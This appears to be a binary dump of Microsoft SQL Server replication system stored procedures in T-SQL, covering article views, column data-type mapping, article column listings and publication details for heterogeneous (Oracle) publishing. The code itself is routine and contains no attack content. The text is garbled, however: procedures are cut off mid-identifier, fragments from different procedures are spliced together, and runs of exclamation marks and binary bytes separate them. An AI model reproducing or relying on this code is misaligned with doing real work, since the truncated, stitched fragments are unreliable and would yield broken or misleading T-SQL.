						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= 1,
						@need_reinit_subscription	= 1,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
		IF @@trancount > 0
		BEGIN
			ROLLBACK TRANSACTION articlecolumn
			COMMIT TRAN
		END

        RETURN (1)
	END

    COMMIT TRAN
END
TT @artid
			)

	-- REQUIRED: Columns must be returned in column order for snapshot
	IF @is_snapshot = 0
	BEGIN
		-- Simple user version
		SELECT	colid		as [column id],
				name		as [column],
				published	as [published],
				sourcetype	as [publisher type],
				desttype	as [subscriber type]
		FROM	#work_helparticlecolumns
		ORDER BY colorder
	END
	ELSE
	BEGIN
		-- Extended snapshot version
		SELECT	colid		as [column id],
				name		as [column],
				published	as [published],
				sourcetype	as [publisher type],
				sourcelen	as [publisher length],
				sourceprec	as [publisher precision],
				sourcescale	as [publisher scale],
				desttype	as [subscriber type],
				destlen		as [subscriber length],
				destprec	as [subscriber precision],
				destscale	as [subscriber scale]
		FROM	#work_helparticlecolumns
		ORDER BY colorder
	END

    DROP TABLE #work_helparticlecolumns
END
L@accessiblepubs)))
    ORDER BY name

    RETURN (0)
END
]]scription_type = @subscription_type_id


	            IF @@ERROR <> 0 or @retcode <> 0
	                BEGIN
	                    if @@trancount > 0
	                        ROLLBACK TRAN  addsubscription
	                    RAISERROR (14057, 16, -1)
	                    RETURN (1)
	                END
	        END
	    END
	END
	
    COMMIT TRAN
	return (0)

UNDO:
	if @@trancount > 0
	begin
		rollback tran addsubscription
		commit tran
	end
	return (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?8`<(|@@)v3CREATE PROCEDURE sys.sp_IHarticleview
(
	@publication				sysname,
	@article					sysname,
	@view_name					nvarchar (386),
	@filter_clause				ntext,
	@change_active				int,
	@force_invalidate_snapshot	bit,
	@force_reinit_subscription	bit,
	@publisher					sysname,
	@publisher_type				sysname
)
as
BEGIN
    declare @table_name sysname,
			@user_name sysname,
			@name sysname,
			@retcode int,
			@type tinyint,
			@table_id int,
			@colid int,
			@artid int,
			@active tinyint,
			@repl_freq int,
			@publication_id int,
			@publisher_id int,
			@status tinyint,
			@article_view nvarchar(255),
			@article_view_owner nvarchar(255),
			@columns binary(128),
			@publishedcolumns binary(128),
			@upd_cmd nvarchar(255),
			@del_cmd nvarchar(255),
			@distributortimestamp datetime,
			@instance_id int

    SET NOCOUNT ON    

    select @active = 2

	-- Security Check.
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- Parameter Check:  @publication.
    -- Make sure that the publication exists and that it conforms to the
    -- rules for identifiers.
    IF @publication IS NULL
    BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_IHarticleview')
		RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
		RETURN (1)

    select @publication_id = pubid,
		@repl_freq = repl_freq,
		@publisher_id = s.srvid
    from syspublications p,
		master..sysservers s,
		MSpublications m
    where 	p.name = @publication
	and UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
	and	m.publisher_id = s.srvid
	and	m.publication_id = p.pubid
    
    IF @publication_id IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    -- Parameter Check:  @article.
    -- Check to make sure that the article exists in the publication.
    IF @article IS NULL
    BEGIN
		RAISERROR (14043, 16, -1, '@article', 'sp_IHarticleview')
		RETURN (1)
    END
    
    -- Get the article information.
    SELECT	@artid		= iha.article_id,
			@table_name	= ihpt.name,
			@user_name	= ihpt.owner,
			@type		= iha.type,
			@status		= iha.status,
			@table_id	= iha.table_id,
			@article_view	= iha.article_view,
			@article_view_owner = msd.login,
			@upd_cmd	= iha.upd_cmd,
			@del_cmd	= iha.del_cmd,
			@instance_id = iha.instance_id
    FROM	IHarticles iha,
    		IHpublishertables ihpt,
    		IHpublishers ihp,
    		msdb..MSdistpublishers msd,
    		master..sysservers s
    WHERE	iha.publication_id	= @publication_id
      AND	UPPER(msd.name collate database_default)		= UPPER(@publisher)
      AND	UPPER(msd.name collate database_default)		= UPPER(s.srvname collate database_default)
      AND	s.srvid				= ihp.publisher_id
      AND	iha.name			= @article
      AND	iha.table_id		= ihpt.table_id
      AND	ihpt.publisher_id	= @publisher_id
      AND	ihpt.publisher_id   = ihp.publisher_id	
	
    -- Fail if there is no article information.
    IF @artid IS NULL
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END

    -- Check if there are snapshot or subscriptions and raiserror if needed.
    EXECUTE @retcode =	sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= 1,
						@need_reinit_subscription	= 1,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@check_only					= 1,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type
						
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
    -- Generate bitmap of ordinal columns
    EXECUTE @columns = sys.fn_IHarticle_columns
	@artid,
	@table_id,
	@publisher_id
    IF @@error <> 0
    BEGIN
        RAISERROR (21775, 11, -1, @article)
        RETURN (1)
    END
    
    IF (@publisher_type = N'ORACLE') AND (@repl_freq = 0)
    BEGIN
        -- If this is an ORACLE publisher and the article belongs to a transactional publication,
        -- Generate the bitmap of published columns to be used to generate the trigger and article
        -- log table
    	EXECUTE @publishedcolumns = sys.fn_IHpublished_columns
		@table_id,
		@publisher_id
    	IF @@error <> 0
    	BEGIN
        	RAISERROR (21776, 11, -1, @article)
        	RETURN (1)
    	END
    END
    ELSE
    BEGIN
        -- If this is an ORACLE GATEWAY publisher or the article belongs to a snapshot publication,
		-- set the publish column bitmask to the article columns bitmask.
		SELECT @publishedcolumns = @columns
    END

    -- Generate view name
    EXECUTE @article_view = sys.fn_IHview_name
	@artid,
	@table_id
    IF @@error <> 0
    BEGIN
        RAISERROR (21777, 11, -1, @article)
        RETURN (1)
    END

    BEGIN TRANSACTION

    -- Update distributor timestamp to reflect change in meta data	
    SET @distributortimestamp = GETDATE()
    UPDATE	dbo.IHpublishers
    SET		flush_request_time = @distributortimestamp
    WHERE	publisher_id = @publisher_id
    IF @@error <> 0
    BEGIN
    	GOTO UNDO
    END
    
    -- Increment the instance id used to mark new isntances
    -- of the log view.
    SET @instance_id = @instance_id + 1;	
   
    -- Update article definition 
    -- Set filter clause and view names
    IF DATALENGTH(@filter_clause) > 0
    BEGIN
		UPDATE	dbo.IHarticles 
		SET	filter_clause = @filter_clause,
			article_view = @article_view,
			article_view_owner = @article_view_owner,
			instance_id = @instance_id,
			publisher_status = 1
		WHERE	publication_id	= @publication_id
      	AND	article_id		= @artid
      	AND	publisher_id	= @publisher_id	

		IF @@error <> 0
		BEGIN
			GOTO UNDO
		END	
    END
    ELSE
    BEGIN
		UPDATE	dbo.IHarticles 
		SET	filter_clause = NULL,
			article_view = @article_view,				
			article_view_owner = @article_view_owner,
			instance_id = @instance_id,
			publisher_status = 1
		WHERE	publication_id	= @publication_id
      	AND	article_id		= @artid
      	AND	publisher_id	= @publisher_id	
      	
      	IF @@error <> 0
      	BEGIN
			GOTO UNDO
		END	
    END

    -- sp_repldropcolumn used @change_active = 2 to prepare, don't invalidate or reinitialize
    IF @change_active <> 2
    BEGIN
    	-- Have to call this stored procedure to invalidate existing snapshot or reint
    	-- subscriptions if needed
    	EXECUTE @retcode =	sys.sp_MSreinit_article
							@publication				= @publication, 
							@article					= @article,
							@need_new_snapshot			= 1,
							@need_reinit_subscription	= 1,
							@force_invalidate_snapshot	= @force_invalidate_snapshot,
							@force_reinit_subscription	= @force_reinit_subscription,
							@publisher					= @publisher,
							@publisher_type				= @publisher_type

    	IF @@ERROR <> 0 OR @retcode <> 0
		GOTO UNDO
    END

    COMMIT TRANSACTION
    
    Declare @OptimizeTrigger bit
	Declare @RecreateTriggers bit
    Declare @XCALL bit
	Declare @artcnt int

		
	set @OptimizeTrigger = 0
	set @RecreateTriggers = 0
	set @XCALL = 0
        
	IF @repl_freq = 0
	BEGIN
		-- If publisher type is ORACLE GATEWAY, for transactional publications,
		-- always regenerate triggers, even if they already exist, and generate
		-- with optimal performance
		IF @publisher_type = N'ORACLE GATEWAY'
		BEGIN
    			set @OptimizeTrigger = 1
    			set @RecreateTriggers = 1
			IF upper(@upd_cmd) like 'XCALL%' OR
			   upper(@del_cmd) like 'XCALL%' OR
			   -- all filtered columns must be captured in the trigger and placed
			   -- in the article log if a filter clause is specified for the article
			   DATALENGTH(@filter_clause) > 0	
				set @XCALL = 1
     		END	 
	END	
       
    -- Create the publisher objects for the article
    EXECUTE @retcode = sys.sp_ORAad!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}g@:vUcreate procedure sys.sp_MSrepl_changearticlecolumndatatype
(
	@publication	sysname,
	@article		sysname,
	@column			sysname,
	@mapping_id		int,
	@type			sysname,
	@length			bigint,
	@precision		bigint,
	@scale			bigint,
	@nullable		bit,
	@publisher		sysname,
	@publisher_type	sysname
) 
AS
BEGIN
    DECLARE @article_id			int
    DECLARE @table_id			int
    DECLARE	@publisher_status	int
    DECLARE @dest_type			varchar(10)
    DECLARE @dest_type_name		sysname
    DECLARE @dest_length		bigint
    DECLARE @dest_prec			bigint
    DECLARE @dest_scale			int
    DECLARE @dest_nullable		bit
    DECLARE @dataloss			bit
    DECLARE @src_type			sysname
    DECLARE @src_length			bigint
    DECLARE @src_prec			int
    DECLARE @src_scale			int
    DECLARE @publishercolumn_id	int
    DECLARE @retcode			int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	
    SET NOCOUNT ON  

	-- Security Check
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- Set publisher DBMS and version (for getting default data type mapping)
	if @publisher_type like 'ORACLE%'
	BEGIN
		SELECT	@publisher_dbms		= 'ORACLE'

		EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
											@version	= @publisher_version OUTPUT
		
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		RAISERROR (21645, 16, -1, @publisher_type)
		RETURN (1)
	END

    -- Parameter Check:  @publication.
    -- Make sure that the publication exists and that it conforms to the
    -- rules for identifiers.

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@publication', 'sp_MSrepl_changearticlecolumndatatype')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publication
    IF @retcode <> 0
		RETURN (1)

    -- Verify publication exists
    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	MSpublications p,
				master..sysservers s
		WHERE	p.publication		= @publication
		  AND	p.publisher_id		= s.srvid
		  AND   UPPER(s.srvname collate database_default)    = UPPER(@publisher) collate database_default
	)
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END
	
    -- Parameter Check:  @article.
    -- Check to make sure that the article exists in the publication.

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@article', 'sp_MSrepl_changearticlecolumndatatype')
        RETURN (1)
    END

    -- Get table and article id's
    SELECT	@article_id			= a.article_id,
			@table_id			= a.table_id,
			@publisher_status	= a.publisher_status
    FROM	IHarticles a,
			MSpublications p,
			master..sysservers s
    WHERE	a.name				= @article
      AND	p.publication		= @publication
      AND	a.publication_id	= p.publication_id
      AND	a.publisher_id		= s.srvid
      AND   UPPER(s.srvname collate database_default)    = UPPER(@publisher) collate database_default

    IF @table_id IS NULL or @article_id IS NULL
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END

    --
    -- Column must exist
    --
	IF @column IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, N'@column', 'sp_MSrepl_changearticlecolumndatatype')
	END
	
    SELECT	@publishercolumn_id	= publishercolumn_id,
			@src_type			= type,
			@src_length			= length,
			@src_prec			= prec,
			@src_scale			= scale
    FROM	IHpublishercolumns
    WHERE	table_id	= @table_id
    AND		name		= @column

    IF @publishercolumn_id IS NULL
    BEGIN
        RAISERROR(21616, 16, -1, @column, @article)
        RETURN (1)
    END
 
	BEGIN TRAN
    SAVE TRANSACTION changearticlecolumndatatype

	-- Set article bit to show that the mappings are not the defaults
	UPDATE	IHarticles
	SET		use_default_datatypes = 0
	WHERE	article_id = @article_id

	IF (@mapping_id IS NULL) AND (@type IS NULL)
	BEGIN
		-- Get default for this type
		EXEC @retcode = sys.sp_getdefaultdatatypemapping
						@source_dbms			= @publisher_dbms,
						@source_version			= @publisher_version,
						@source_type			= @src_type,
						@source_length			= @src_length,
						@source_precision		= @src_prec,
						@source_scale			= @src_scale,
						@destination_dbms		= 'MSSQLSERVER',
						@destination_version	= NULL,
						@destination_type		= @dest_type_name OUTPUT,
						@destination_length		= @dest_length OUTPUT,
						@destination_precision	= @dest_prec OUTPUT,
						@destination_scale		= @dest_scale OUTPUT,
						@destination_nullable	= @dest_nullable OUTPUT,
						@dataloss				= @dataloss OUTPUT

		IF @retcode <> 0 or @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION changearticlecolumndatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		IF (@mapping_id IS NOT NULL) AND (@mapping_id > 0)
		BEGIN
			-- Get type, length, prec, scale from mapping
			SELECT	@dest_type_name	= destination_type,
					@dest_length	= destination_length,
					@dest_prec		= destination_precision,
					@dest_scale		= destination_scale,
					@dest_nullable	= destination_nullable
			FROM	sys.fn_MSrepl_getdatatypemappings
					(
						@publisher_dbms,
						@publisher_version,
						@src_type,
						@src_length,
						@src_prec,
						@src_scale,
						1,
						N'MSSQLSERVER',
						NULL,
						0,
						@mapping_id
					)
    		END
		ELSE
		BEGIN
			-- Set type, length, prec, scale from inputs
			SELECT	@dest_type_name	= @type,
					@dest_length	= @length,
					@dest_prec		= @precision,
					@dest_scale		= @scale,
					@dest_nullable	= @nullable
		END

		-- Verify mapping exists
		EXEC @retcode =	sys.sp_MSrepl_checkdatatypemapping
						@source_dbms			= @publisher_dbms,
						@source_version			= @publisher_version,
						@source_type			= @src_type,
						@source_length			= @src_length,
						@source_precision		= @src_prec,
						@source_scale			= @src_scale,
						@destination_dbms		= 'MSSQLSERVER',
						@destination_version	= NULL,
						@destination_type		= @dest_type_name,
						@destination_length		= @dest_length,
						@destination_precision	= @dest_prec,
						@destination_scale		= @dest_scale,
						@destination_nullable	= @dest_nullable

		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			IF @@trancount > 0
			BEGIN
				ROLLBACK TRANSACTION changearticlecolumndatatype
				COMMIT tran
			END
			RETURN (1)
		END
	END
	
	-- Get core type (necessary due to varchar(max) cases)
	IF UPPER(RIGHT(@dest_type_name, 5)) = N'(MAX)'
	BEGIN
		SELECT @dest_type_name = LEFT(@dest_type_name, LEN(@dest_type_name) - 5)
		SELECT @dest_length = -1
	END
	
	-- Get systype id for destination data type
	SELECT	@dest_type = type_id(LOWER(@dest_type_name))

	IF (@dest_type IS NULL) OR (@dest_type = 0) 
	BEGIN
   		RAISERROR(21779, 16, -1, @src_type)
		
		IF @@trancount > 0
		BEGIN
			ROLLBACK TRANSACTION changearticlecolumndatatype
			COMMIT TRAN
		END
		RETURN (1)
	END

	-- Update data type mapping info
	UPDATE	IHcolumns
	SET		mapped_type			= @dest_type,
			mapped_length		= @dest_length,
			mapped_prec			= @dest_prec,
			mapped_scale		= @dest_scale,
			mapped_nullable		= @dest_nullable
	WHERE	name = @column
	  AND	publishercolumn_id	= @publishercolumn_id
	  AND	article_id			= @article_id
	
    IF @@ERROR <> 0
    BEGIN
        IF @@trancount > 0
        BEGIN
            ROLLBACK TRANSACTION changearticlecolumndatatype
            COMMIT TRAN
        END
        RETURN (1)
    END

	-- Flush article cache 
	EXEC @retcode = sys.sp_IHreplflush	@publisher

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		IF @@trancount > 0
		BEGIN
			ROLLBACK TRANSACTION changearticlecolumndatatype
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	-- Reinit article
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(~@`m܁vT
--
-- Name:    
--          sp_MSrepl_helparticlecolumns
--          
-- Description: 
--          Returns information about an article's columns.  
--
--          Internal implementation of helparticlecolumns.
--			Flag @is_snapshot is used to signal whether additional
--			output should be produced for consumption by snapshot.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set of article properties
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_MSrepl_helparticlecolumns
(
    @publication	sysname,
    @article		sysname,
    @publisher		sysname,
    @publisher_type	sysname,
    @is_snapshot	bit = 0
)
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @pubid				int
    DECLARE	@artid				int
    DECLARE @retcode			int
    DECLARE @username			sysname
	DECLARE @publisher_dbms		sysname
	DECLARE @publisher_version	sysname
    DECLARE @status				tinyint
    DECLARE @objid				int
	
	IF @publisher_type != N'MSSQLSERVER'
	BEGIN
		-- Set publisher DBMS and version (for checking data types)
		IF @publisher_type LIKE 'ORACLE%'
		BEGIN
			SELECT	@publisher_dbms = N'ORACLE'

			EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
												@version	= @publisher_version OUTPUT

			IF @retcode != 0 OR @@ERROR != 0
			BEGIN
				RETURN (1)
			END
		END
		ELSE
		BEGIN
			SELECT @publisher_dbms    = @publisher_type
			SELECT @publisher_version = NULL
		END
	END

    SELECT @username = suser_sname()

    /*
    ** Parameter Check: @article.
    ** The @article name must conform to the rules for identifiers.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_helparticlecolumns')
            RETURN (1)
        END
    
    /*
    EXECUTE @retcode = sys.sp_validname @article

    IF @retcode <> 0
    RETURN (1)
    */

    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_helparticlecolumns')
            RETURN (1)
        END
    
    EXECUTE @retcode = sys.sp_validname @publication

    IF @retcode <> 0
        RETURN (1)

    /*
    ** Security Check. SQL Server: Restrict to 'sysadmin', DBO of publishing database, PAL
    **                 Heterogeneous: 'sysadmin', DOB of distribution database, PAL                
    */
    IF is_member(N'db_owner') <> 1
    BEGIN
        exec @retcode =	sys.sp_MSreplcheck_pull	@publication = @publication,
												@given_login = @username

        IF @retcode <> 0 OR @@error <> 0
            RETURN (1)
    END    
    
	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @article, @publication.
    ** Check to make sure that the article exists in this publication.
    */
    IF NOT EXISTS
    (
    	SELECT	*
		FROM	sysextendedarticlesview
		WHERE	pubid = @pubid
		  AND	name = @article
	)
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END


    /*
    ** Error out if this is a not a table based article
    */
    IF NOT EXISTS
    (
    	SELECT	*
		FROM	sysarticles
		WHERE	name = @article
		  AND	pubid = @pubid
		  AND	(type & 1) = 1
	)
	BEGIN
		RAISERROR (14112, 11, -1 )
		RETURN (1)
	END

    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
		SELECT	@status	= status,
				@objid	= objid,
				@artid	= artid
		  FROM	sysarticles
		 WHERE	name	= @article
		   AND	pubid	= @pubid
	END
	ELSE
	BEGIN
		SELECT	@status	= status,
				@objid	= table_id,
				@artid	= article_id
		  FROM	IHarticles
		 WHERE	name			= @article
		   AND	publication_id	= @pubid
	END

    -- Get the timestamp column id
    CREATE TABLE #work_helparticlecolumns
    (
		colid		int,
		name		sysname,
		published	bit,
		colorder	int IDENTITY(1,1) not null,
		sourcetype	sysname null,
		sourcelen	int null,
		sourceprec	int null,
		sourcescale	int null,
		desttype	sysname null,
		destlen		int null,
		destprec	int null,
		destscale	int null
	)
    
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		INSERT	#work_helparticlecolumns
				(
					colid,
					name,
					published,
					sourcetype,
					sourcelen,
					sourceprec,
					sourcescale,
					desttype,
					destlen,
					destprec,
					destscale
				) 
		SELECT	sc.column_id,
				sc.name,
				case sc.system_type_id when 189
					then convert(bit, (@status & 32))
					else convert(bit, 0)
				end,
				sys.fn_MSrepl_sourcetype
				(
					type_name(sc.user_type_id),
					sc.max_length,
					sc.max_length,
					sc.precision,
					sc.precision,
					sc.scale,
					sc.scale,
					(
						SELECT	dt.createparams
						FROM	msdb.dbo.MSdbms dbms,
								msdb.dbo.MSdbms_datatype dt
						WHERE	dbms.dbms_id = dt.dbms_id
						  AND	dbms.dbms = @publisher_type
						  AND	dt.type = type_name(sc.user_type_id)
					)
				),
				sc.max_length,
				sc.precision,
				sc.scale,
				sys.fn_MSrepl_sourcetype
				(
					type_name(sc.user_type_id),
					sc.max_length,
					sc.max_length,
					sc.precision,
					sc.precision,
					sc.scale,
					sc.scale,
					(
						SELECT	dt.createparams
						FROM	msdb.dbo.MSdbms dbms,
								msdb.dbo.MSdbms_datatype dt
						WHERE	dbms.dbms_id = dt.dbms_id
						  AND	dbms.dbms = @publisher_type
						  AND	dt.type = type_name(sc.user_type_id)
					)
				),
				sc.max_length,
				sc.precision,
				sc.scale
		FROM	sys.columns sc
		WHERE	object_id = @objid
		ORDER BY column_id
	END
	ELSE
	BEGIN
		-- HREPL: Use IHcolumns instead
		SET IDENTITY_INSERT #work_helparticlecolumns ON
		INSERT	#work_helparticlecolumns
				(
					colid,
					name,
					published,
					colorder,
					sourcetype,
					sourcelen,
					sourceprec,
					sourcescale,
					desttype,
					destlen,
					destprec,
					destscale
				) 
		SELECT	ihpc.publishercolumn_id,
				ihpc.name,
				0,
				ihpc.column_ordinal,
				sys.fn_MSrepl_sourcetype
				(
					ihpc.type,
					ihpc.length,
					ihpc.length,
					ihpc.prec,
					ihpc.prec,
					ihpc.scale,
					ihpc.scale,
					(
						SELECT	dt.createparams
						FROM	msdb.dbo.MSdbms dbms,
								msdb.dbo.MSdbms_datatype dt
						WHERE	dbms.dbms_id = dt.dbms_id
						  AND	dbms.dbms = @publisher_dbms
						  AND	dt.type = ihpc.type
						  AND	sys.fn_IHcompareversion(dbms.version, @publisher_version) = 1
					)
				),
				ihpc.length,
				ihpc.prec,
				ihpc.scale,
				sys.fn_MSrepl_sourcetype
				(
					type_name(ihc.mapped_type),
					ihc.mapped_length,
					ihc.mapped_length,
					ihc.mapped_prec,
					ihc.mapped_prec,
					ihc.mapped_scale,
					ihc.mapped_scale,
					(
						SELECT	dt.createparams
						FROM	msdb.dbo.MSdbms dbms,
								msdb.dbo.MSdbms_datatype dt
						WHERE	dbms.dbms_id = dt.dbms_id
						  AND	dbms.dbms = N'MSSQLSERVER'
						  AND	dt.type = type_name(ihc.mapped_type)
					)
				),
				ihc.mapped_length,
				ihc.mapped_prec,
				ihc.mapped_scale
		FROM	IHpublishercolumns ihpc LEFT OUTER JOIN (SELECT * FROM IHcolumns WHERE article_id = @artid) ihc
		  ON	ihpc.publishercolumn_id = ihc.publishercolumn_id
		WHERE	ihpc.table_id = @objid
		ORDER BY ihpc.column_ordinal
		SET IDENTITY_INSERT #work_helparticlecolumns OFF
	END

	UPDATE	#work_helparticlecolumns
	SET		published = 1
	WHERE	colid in
			(
				SELECT	colid
				FROM	sysarticlecolumns
				WHERE	artid =!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(@P]vcreate procedure sys.sp_MSrepl_helppublication
(
    @publication sysname,
    @found int OUTPUT, -- flag indicate returning row
    @publisher sysname,
    @publisher_type sysname
)
AS
BEGIN
    SET NOCOUNT ON
    --
    -- Declarations.
    --
    DECLARE @pubid      int
                ,@has_subscription bit
                ,@retcode int = 0
                ,@no_row bit
                ,@publish_bit int = 1
                ,@pubname sysname
                ,@username sysname
                ,@count  int
                ,@dbname sysname
                ,@skippalcheck bit
                -- Option Bitfield Constants
                ,@OPT_ENABLED_FOR_P2P int = 0x1
                ,@OPT_PUBLISH_ONLY_LOCAL_CHANGES int = 0x2
                ,@OPT_ENABLED_FOR_HET_SUB int = 0x4
                ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int = 0x8
                ,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int = 0x10
				,@OPT_ALLOW_PARTITION_SWITCH int = 0x20
				,@OPT_REPLICATE_PARTITION_SWITCH int = 0x40

    /*
    ** Initializations.
    */
    SELECT   @username = suser_sname()
                ,@dbname = db_name()
                ,@no_row = case when (@found = 23456) then 0 else 1 end
                -- Skip PAL check if DBO 
                ,@skippalcheck = case when (is_member ('db_owner') = 1 OR is_srvrolemember('sysadmin') = 1) then 1 else 0 end

    /*
    ** Check if the database is published for transactional
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases
                            WHERE name = db_name() collate database_default
                                AND (category & @publish_bit) = @publish_bit)
        RETURN(0)
    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that there are some publications
    ** to display.
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_helppublication')
        RETURN (1)
    END
    
    IF @publication <> N'%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publication
        IF @retcode <> 0
            RETURN (1)
    END

    IF EXISTS (SELECT * FROM dbo.syspublications
                            WHERE ((name = @publication) or  (@publication = N'%')))
    BEGIN
        SELECT @found = 1
    END
    ELSE
    BEGIN
        SELECT @found = 0
        RETURN (0) 
    END

    if (@skippalcheck = 0)
    begin
        --
        -- Create a temp table of pubids identifying publications that the current user has access to
        --
        DECLARE @accessiblepubs TABLE (pubid int)
        
        SELECT @found = 0
        DECLARE #hC  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT pubid, name FROM dbo.syspublications WHERE ((name = @publication) or  (@publication = N'%'))

        OPEN #hC
        FETCH #hC INTO @pubid, @pubname
        WHILE (@@fetch_status <> -1)
        BEGIN
            exec @retcode = sys.sp_MSreplcheck_pull
                        @publication = @pubname,
                        @raise_fatal_error = 0,
                        @given_login = @username
            IF (@retcode = 0 AND @@error = 0)
            begin
                INSERT INTO @accessiblepubs values(@pubid)
                SELECT @found = 1
            end

            FETCH #hC INTO @pubid, @pubname
        END
        CLOSE #hC
        DEALLOCATE #hC
    end
    
    if @no_row <> 0
      	return (0)
    /*
    ** Join the table of accessible pubids to the publication entries retrieved from syspublications
    */
    SELECT  'pubid'                  = outter.pubid,
                'name'                   = name,
                'restricted'             = 0,
                'status'                 = status,
                -- using 'task' is for backward compatibilty
                'task'                   = convert(int, 1),
                'replication frequency'  = repl_freq,
                'synchronization method' = sync_method,
                'description'            = description,
                'immediate_sync'            = immediate_sync,
                'enabled_for_internet'    = enabled_for_internet,
                'allow_push'             = allow_push,
                'allow_pull'             = allow_pull,
                'allow_anonymous'        = allow_anonymous,
                'independent_agent'        = independent_agent,
                'immediate_sync_ready'    = immediate_sync_ready,
                -- SyncTran
                'allow_sync_tran'        = allow_sync_tran,
                'autogen_sync_procs'        = autogen_sync_procs,
                'snapshot_jobid'         = snapshot_jobid,
                'retention'              = retention,
                'has subscription'       = case when EXISTS (select * from dbo.syssubscriptions where artid in 
                                                (select artid from dbo.sysextendedarticlesview where pubid = outter.pubid ) )
                                                then 1 else 0 end,
                'allow_queued_tran'      = allow_queued_tran,
                -- Portable snapshot
                'snapshot_in_defaultfolder'      = snapshot_in_defaultfolder,
                'alt_snapshot_folder'    = alt_snapshot_folder,
                -- Pre/post-snapshot commands
                'pre_snapshot_script'    = pre_snapshot_script,
                'post_snapshot_script'   = post_snapshot_script,
                -- Snapshot compression
                'compress_snapshot'      = compress_snapshot,
                -- Post 7.0 ftp support
                'ftp_address'            = ftp_address,
                'ftp_port'               = ftp_port,
                'ftp_subdirectory'       = ftp_subdirectory,
                'ftp_login'              = ftp_login,
                'allow_dts'              = allow_dts,
                'allow_subscription_copy'  = allow_subscription_copy,
                -- 7.5 Queued updates
                'centralized_conflicts'  = centralized_conflicts, 
                'conflict_retention'     = conflict_retention, 
                'conflict_policy'        = conflict_policy,
                'queue_type'             = queue_type,
                'backward_comp_level' = backward_comp_level,
